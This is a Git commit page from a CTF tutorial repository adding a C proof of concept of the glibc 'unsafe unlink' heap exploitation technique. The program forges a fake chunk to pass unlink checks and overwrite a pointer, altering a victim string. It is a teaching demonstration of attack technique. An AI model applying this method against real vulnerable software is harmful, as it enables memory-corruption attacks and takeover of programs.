mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-06-24 04:05:03 +07:00
update 3.3.5_heap_exploit.md
This commit is contained in:
47
src/Others/3.3.5_heap_exploit/unsafe_unlink.c
Normal file
47
src/Others/3.3.5_heap_exploit/unsafe_unlink.c
Normal file
@ -0,0 +1,47 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
uint64_t *chunk0_ptr;
|
||||
|
||||
int main() {
|
||||
int malloc_size = 0x80; // not fastbins
|
||||
int header_size = 2;
|
||||
|
||||
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
|
||||
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
|
||||
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
|
||||
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
|
||||
|
||||
// pass this check: (P->fd->bk != P || P->bk->fd != P) == False
|
||||
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
|
||||
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
|
||||
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
|
||||
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
|
||||
// pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
|
||||
// chunk0_ptr[1] = 0x0; // or 0x8, 0x80
|
||||
|
||||
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
|
||||
chunk1_hdr[0] = malloc_size;
|
||||
chunk1_hdr[1] &= ~1;
|
||||
|
||||
// deal with tcache
|
||||
// int *a[10];
|
||||
// int i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
free(chunk1_ptr);
|
||||
|
||||
char victim_string[9];
|
||||
strcpy(victim_string, "AAAAAAAA");
|
||||
chunk0_ptr[3] = (uint64_t) victim_string;
|
||||
fprintf(stderr, "Original value: %s\n", victim_string);
|
||||
|
||||
chunk0_ptr[0] = 0x4242424242424242LL;
|
||||
fprintf(stderr, "New Value: %s\n", victim_string);
|
||||
}
|
Reference in New Issue
Block a user